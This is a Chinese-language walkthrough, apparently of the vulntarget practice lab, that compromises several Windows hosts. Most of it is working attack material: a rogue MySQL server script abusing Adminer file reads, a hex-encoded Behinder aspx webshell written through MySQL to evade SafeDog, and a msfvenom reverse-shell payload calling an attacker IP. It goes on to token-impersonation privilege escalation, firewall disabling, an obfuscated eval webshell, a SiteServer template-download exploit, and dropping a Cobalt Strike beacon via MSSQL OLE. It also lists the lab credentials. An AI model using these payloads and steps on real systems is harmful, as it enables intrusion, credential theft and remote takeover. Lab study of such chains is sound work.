机器密码:
2008-1: administrator/QwE123asd;vulntarget/123.com 后台:admin/admin8888;数据库:root/8B..123admin
2008-2: administrator/zxcvbnm;xiaoming/Vme50.. 后台管理:admin/8B..123admin (v7);administrator/8B..123admin (v6)
2012: xiaopao/CrazyThursday;administrator/asdfghjkl 数据库:管理员 sa/QwE123asd;普通权限xiaopao/123.com
拓扑图:
扫描存活主机和端口,发现开放了80、135、139、445、3306、5985、8000、47001等端口
访问web显示是IIS7,没有什么有用信息
访问8000端口显示是米拓信息,搜索可知是个企业建站系统
扫目录发现存在adminer4.4.0,搜索漏洞可以发现有个任意文件读取漏洞
字典脚本如下:
# -*- coding: utf-8 -*-
import socket
import os
import sys
#--------------------------------------------------------------------------------------------------------------------
port = int(sys.argv[1])
#--------------------------------------------------------------------------------------------------------------------
def mysql_get_file_content(sv, filename):
conn, address = sv.accept()
logpath = os.path.abspath('.') + "/log/" + address[0]
if not os.path.exists(logpath):
os.makedirs(logpath)
conn.sendall("\x4a\x00\x00\x00\x0a\x35\x2e\x35\x2e\x35\x33\x00\x17\x00\x00\x00\x6e\x7a\x3b\x54\x76\x73\x61\x6a\x00\xff\xf7\x21\x02\x00\x0f\x80\x15\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x70\x76\x21\x3d\x50\x5c\x5a\x32\x2a\x7a\x49\x3f\x00\x6d\x79\x73\x71\x6c\x5f\x6e\x61\x74\x69\x76\x65\x5f\x70\x61\x73\x73\x77\x6f\x72\x64\x00")
conn.recv(9999)
conn.sendall("\x07\x00\x00\x02\x00\x00\x00\x02\x00\x00\x00")
conn.recv(9999)
wantfile = chr(len(filename) + 1) + "\x00\x00\x01\xFB" + filename
conn.sendall(wantfile)
content = conn.recv(9999)
conn.close()
if len(content) > 4:
with open(logpath + "/" + filename.replace("/", "_").replace(":", "_"), "w") as txt:
txt.write(content)
return True
else:
return False
# 开始监听
sv = socket.socket()
sv.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
sv.bind(("", port))
sv.listen(5)
print "Listen Begin in port "+str(port)
# 日志文件夹
# 循环监听
while True:
filename = raw_input("请输入接下来你想读的文件名 (直接按回车退出): ")
if filename == "":
break
res = mysql_get_file_content(sv, filename)
if res:
print "Read Success! ---> "+filename
else:
print "Not Found~ ---> "+filename
运行脚本,直接输入想要读取的文件绝对路径adminer.php,然后adminer页面输入攻击机kali的IP,用户名密码数据库可以随便输一个,点击登录
这里可以看到我们读取成功的文件会被记录到log文件夹中
读取mysql的配置文件,根据报错信息发现是phpstudy
然后我们可以探测一下phpstudy的默认路径/phpstudy_pro/www
发现并不是默认的路径,下载源码进行分析发现是在config下的,但是需要绝对路径,再到IIS的看看发现有安全狗
IIS有两个默认的读取绝对路径的方法 C:\Windows\System32\inetsrv\MetaBase.xml C:\Windows\System32\inetsrv\config\applicationHost.config
这里读取的时候会发现上面的脚本不太行了,读取到的文件不完整,又换了个还是不完整
只能修改代码读取完整的大文件,用while循环读取文件,修改如下:
# -*- coding: utf-8 -*-
import socket
import os
import sys
#--------------------------------------------------------------------------------------------------------------------
port = int(sys.argv[1])
#--------------------------------------------------------------------------------------------------------------------
def mysql_get_file_content(sv, filename):
conn, address = sv.accept()
logpath = os.path.abspath('.') + "/log/" + address[0]
if not os.path.exists(logpath):
os.makedirs(logpath)
conn.sendall("\x4a\x00\x00\x00\x0a\x35\x2e\x35\x2e\x35\x33\x00\x17\x00\x00\x00\x6e\x7a\x3b\x54\x76\x73\x61\x6a\x00\xff\xf7\x21\x02\x00\x0f\x80\x15\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x70\x76\x21\x3d\x50\x5c\x5a\x32\x2a\x7a\x49\x3f\x00\x6d\x79\x73\x71\x6c\x5f\x6e\x61\x74\x69\x76\x65\x5f\x70\x61\x73\x73\x77\x6f\x72\x64\x00")
conn.recv(99999999)
conn.sendall("\x07\x00\x00\x02\x00\x00\x00\x02\x00\x00\x00")
conn.recv(99999999)
wantfile = chr(len(filename) + 1) + "\x00\x00\x01\xFB" + filename
conn.sendall(wantfile)
conn.sendall('asdfsadfsadfsa')
content = 'asdfasdf' # 初始进入循环
if len(content) > 4:
with open(logpath + "/" + filename.replace("/", "_").replace(":", "_"), "w") as txt:
while len(content) !=0:
content = conn.recv(99999999)
txt.write(content)
return True
else:
return False
# if len(content) > 4:
# with open(logpath + "/" + filename.replace("/", "_").replace(":", "_"), "w") as txt:
# txt.write(content)
# return True
# else:
# return False
sv = socket.socket()
sv.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
sv.bind(("", port))
sv.listen(5)
print "Listen Begin in port "+str(port)
while True:
filename = raw_input("请输入接下来你想读的文件名 (直接按回车退出): ")
if filename == "":
break
res = mysql_get_file_content(sv, filename)
if res:
print "Read Success! ---> "+filename
else:
print "Not Found~ ---> "+filename
可以得到IIS的网站的绝对路径以及安全狗的绝对路径
C:\vulnIIS\俱乐部
C:\Program Files (x86)\SafeDog\SafeDogSiteIIS\
后来探测中发现不用跟绝对路径也是能成功读取的,于是使用相对路径读取config_db.php配置文件,从而得到数据库账号密码:root/8B..123admin
成功登录数据库
进入后尝试通过日志getshell,首先查看secure_file_priv参数,发现为空有可读可写的权限
# 查看secure_file_priv参数信息是否为空
show global variables like '%secure%'
查看配置信息发现general log是关了的,需要开启general log模式
show variables like '%general%';
set global general_log=on
然后尝试能否写入,发现可以执行成功但是访问却报404
select 'test' into dumpfile 'C:\\vulnIIS\\俱乐部\\test.txt'
接着再执行一次命令显示文件已经存在,再回头看这里我们的路径存在中文,因此可以猜测这是编码问题所导致的
先来查看一下mysql的默认表,可能编码的不同导致这个中文跟符号融合了输出在vulnIIS目录下
show variables like 'character%'
# 指定数据库字符集还是失败
set character_set_client='gbk';set character_set_connection='gbk';set character_set_database='gbk';set character_set_results='gbk';set character_set_server='gbk';select 'test' into outfile 'C:\\vulnIIS\\俱乐部\\1.txt';
这里使用插件FH-Charset将网页编码设置成GBK,可以发现成功写入
接着我们通过创建表的方式写入来绕安全狗,先将冰蝎的aspx马转hex
3c25402050616765204c616e67756167653d2243232220253e3c2540496d706f7274204e616d6573706163653d2253797374656d2e5265666c656374696f6e22253e3c2553657373696f6e2e41646428226b222c226534356533323966656235643932356222293b202f2ae8afa5e5af86e992a5e4b8bae8bf9ee68ea5e5af86e7a0813332e4bd8d6d6435e580bce79a84e5898d3136e4bd8defbc8ce9bb98e8aea4e8bf9ee68ea5e5af86e7a08172656265796f6e642a2f627974655b5d206b203d20456e636f64696e672e44656661756c742e47657442797465732853657373696f6e5b305d202b202222292c63203d20526571756573742e42696e6172795265616428526571756573742e436f6e74656e744c656e677468293b417373656d626c792e4c6f6164286e65772053797374656d2e53656375726974792e43727970746f6772617068792e52696a6e6461656c4d616e6167656428292e437265617465446563727970746f72286b2c206b292e5472616e73666f726d46696e616c426c6f636b28632c20302c20632e4c656e67746829292e437265617465496e7374616e636528225522292e457175616c732874686973293b253e0a
然后再去创建一个表
create table test(test1 blob); # blob被视为二进制字符串
写入内容
insert into test values (convert(0x3c25402050616765204c616e67756167653d2243232220253e3c2540496d706f7274204e616d6573706163653d2253797374656d2e5265666c656374696f6e22253e3c2553657373696f6e2e41646428226b222c226534356533323966656235643932356222293b202f2ae8afa5e5af86e992a5e4b8bae8bf9ee68ea5e5af86e7a0813332e4bd8d6d6435e580bce79a84e5898d3136e4bd8defbc8ce9bb98e8aea4e8bf9ee68ea5e5af86e7a08172656265796f6e642a2f627974655b5d206b203d20456e636f64696e672e44656661756c742e47657442797465732853657373696f6e5b305d202b202222292c63203d20526571756573742e42696e6172795265616428526571756573742e436f6e74656e744c656e677468293b417373656d626c792e4c6f6164286e65772053797374656d2e53656375726974792e43727970746f6772617068792e52696a6e6461656c4d616e6167656428292e437265617465446563727970746f72286b2c206b292e5472616e73666f726d46696e616c426c6f636b28632c20302c20632e4c656e67746829292e437265617465496e7374616e636528225522292e457175616c732874686973293b253e0a,char));
成功写入
将其导入IIS网站目录下(这里还是得使用插件将其转为GBK
select test1 from test into dumpfile 'C:\\vulnIIS\\俱乐部\\1.aspx';
最后冰蝎成功连接
信息收集一波,是个低权限的,还有个192.168.30.131的网卡,打了四个补丁
尝试烂土豆提权失败,换端口也是失败告终
尝试多汁土豆提权失败
尝试PipePotato失败
后面使用msf再尝试一下烂土豆提权
msf生成木马再通过冰蝎上传
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.150.128 lport=4444 -f exe > msf.exe
msf成功上线
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.150.128
run
列出tokens,当前shell用户只是一个普通的用户,权限低,也就意味着shell的访问级别低,所以令牌只有当前用户本身
use incognito
list_tokens -u
上传烂土豆并执行,可以看到已经有的system的令牌,然后模拟该令牌,成功提权
execute -cH -f potato.exe
list_tokens -u
impersonate_token "NT AUTHORITY\SYSTEM"
提权后使用猕猴桃抓一下密码
需要先将进程迁移到x64位上去
再执行一下即可获取到密码:Administrator/QwE123asd
msf这边shell用的不方便,我们还可以通过cs插件进行烂土豆提权也能成功,这里就直接通过提权后的msf运行cs马上线
首先关闭防火墙
netsh advfirewall set allprofiles state off
netsh advfirewall show allprofile state
然后使用下面的命令打开3389端口
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 0 /f
成功登录远程桌面
在普通用户vulntarget中的桌面文件发现搜狗浏览器,打开看看是否有什么保存的密码
但是去设置中查看并没有
然后尝试通过登录普通用户查找,根据前面hashdump的解密得到vulntarget用户的密码:123.com
成功得到管理后台的账号密码administrator/8B..123admin
上传frp建立代理
./frps -c ./frps.ini
frpc.exe -c ./frpc.ini &
再上传fscan扫一下内网,发现主机192.168.30.130开放了80、135、445、8000端口
访问8000端口是空白的,只显示出一个logo
根据前面搜狗中访问保存的后台可以知道路径是/SiteServer/pageLogin.cshtml
然后尝试登录后台发现报错
搜了下报错是数据库配置问题,但是靶机连数据库文件一直出问题,后面修复初始环境的快照结果就解决了,但是没过多久又不行了,没有连接到mssql服务器,于是直接把IP改成10.0.10的
接着搜索SiteServer CMS 6.15.51漏洞发现可能存在sql注入漏洞CVE-2021-42656,不过没复现成功
后面看wp说是可以利用模板下载漏洞getshell(前面有看到但是介绍里是说对5.0版本包含5.0以下通杀就没尝试
首先写一个aspx马,再对其进行压缩,并上传至IIS的网站的目录下
<%@ Page Language="Jscript" Debug=true%>
<%
var a = Request.Form("abc");
var b = "un";
var a2 = "fe";
var c2 = "sa";
function fun ()
{
return a ;
}
eval(fun(),b+c2+a2);
%>
然后去菜鸟教程上在线编译C#程序,得到字符串:ZjYIub/YxA2nuEGSiGmc+ZyLUMtltzqK7OLPFo1MTHw=
using System;
using System.IO;
using System.Security.Cryptography;
using System.Text;
namespace EncryptApplication
{ class Encrypt
{ static void Main(string[] args)
{
var _encryptKey = "vEnfkn16t8aeaZKG3a4Gl9UUlzf4vgqU9xwh8ZV5";
var _decryptKey = "vEnfkn16t8aeaZKG3a4Gl9UUlzf4vgqU9xwh8ZV5";
var _inputString = "http://192.168.30.131/1.zip"; # 只需要修改此处的地址
var _outString = ""; var _noteMessage = "";
byte[] iv = { 0x12, 0x34, 0x56, 0x78, 0x90, 0xAB, 0xCD, 0xEF };
try{
var byKey = Encoding.UTF8.GetBytes(_encryptKey.Length > 8 ? _encryptKey.Substring(0, 8) : _encryptKey);
var des = new DESCryptoServiceProvider();
var inputByteArray = Encoding.UTF8.GetBytes(_inputString);
var ms = new MemoryStream();
var cs = new CryptoStream(ms, des.CreateEncryptor(byKey, iv), CryptoStreamMode.Write); cs.Write(inputByteArray, 0, inputByteArray.Length);
cs.FlushFinalBlock();
_outString = Convert.ToBase64String(ms.ToArray());
Console.WriteLine("DesEncrypt:"); Console.WriteLine(_outString); }
catch (Exception error) { _noteMessage = error.Message; }
} } }
我们对此字符串再进行一次混淆
"+" => "0add0"
"=" => "0equals0"
"&" => "0and0"
"?" => "0question0"
"/" => "0slash0"
# ZjYIub0slash0YxA2nuEGSiGmc0add0ZyLUMtltzqK7OLPFo1MTHw0equals0
访问如下url(downloadUrl后添加混淆后的字符串,directoryName后修改为压缩文件的名称
http://192.168.30.130:8000/Ajax/ajaxOtherService.aspx?type=SiteTemplateDownload&userKeyPrefix=test&downloadUrl=ZjYIub0slash0YxA2nuEGSiGmc0add0ZyLUMtltzqK7OLPFo1MTHw0equals0&directoryName=1
然后拿蚁剑或者菜刀去连接即可
http://192.168.30.130:8000/SiteFiles/SiteTemplates/1/1.aspx 密码:abc
但是这里我没有实现,跟着wp中的另一种方法再进行复现一下
首先在设置管理-上传设置处添加上传图片类型aspx并修改上传文件夹为SiteFiles/SiteTemplates
然后在显示管理-内容管理处上传图片会显示重命名后的文件路径
这回就上传成功了,通过蚁剑成功连接(这里回显的上传文件名是t_xxx,所以需要把t_去掉
连上后进行信息收集,发现和之前的一样是个低权限的,还有个10.0.10.100的网卡,打了四个补丁,并且还不出网
于是利用第一台主机做跳板机转发上线,点击Plvoting-Listener进行设置监听
制作exe木马,上传靶机执行上线,然后就还是和前面一样使用烂土豆提权
接着我们读取cms数据库配置文件得到数据库账号密码:xiaopao/123.com
查看IP发现不在本地上存在双网站库分离环境,设置代理连接数据库,解密得到账号密码sa/QwE123asd
启用OLE组件
exec master.dbo.sp_configure 'show advanced options', 1
RECONFIGURE
exec master.dbo.sp_configure 'Ole Automation Procedures', 1
RECONFIGURE
把cs生成的马转hex
import binascii
filename = 'beacon.exe'
with open(filename, 'rb') as f:
content = f.read()
print(binascii.hexlify(content))
再把hex放在OLE组件内并创建命令执行存储过程
DECLARE @DATAVARBINARY(MAX)= 0x-hex # 填入自己转的hex
DECLARE @filepath VARCHAR(MAX)='C:\\Windows\\temp\\cs.exe'
DECLARE @ObjectToken INT
EXEC sp_OACreate 'ADODB.Stream', @ObjectToken OUTPUT
EXEC sp_OASetProperty @ObjectToken,'Type',1
EXEC sp_OAMethod @ObjectToken,'Open'
EXEC sp_OAMethod @ObjectToken,'Write',NULL, @DATA
EXEC sp_OAMethod @ObjectToken,'SaveToFile',NULL, @filepath,2
EXEC sp_OAMethod @ObjectToken,'Close'
EXEC sp_OADestroy @ObjectToken
SELECT @filepath
成功上线CS
exec master..xp_cmdshell "cmd /c C:\\Users\\Public\\Downloads\\n.exe"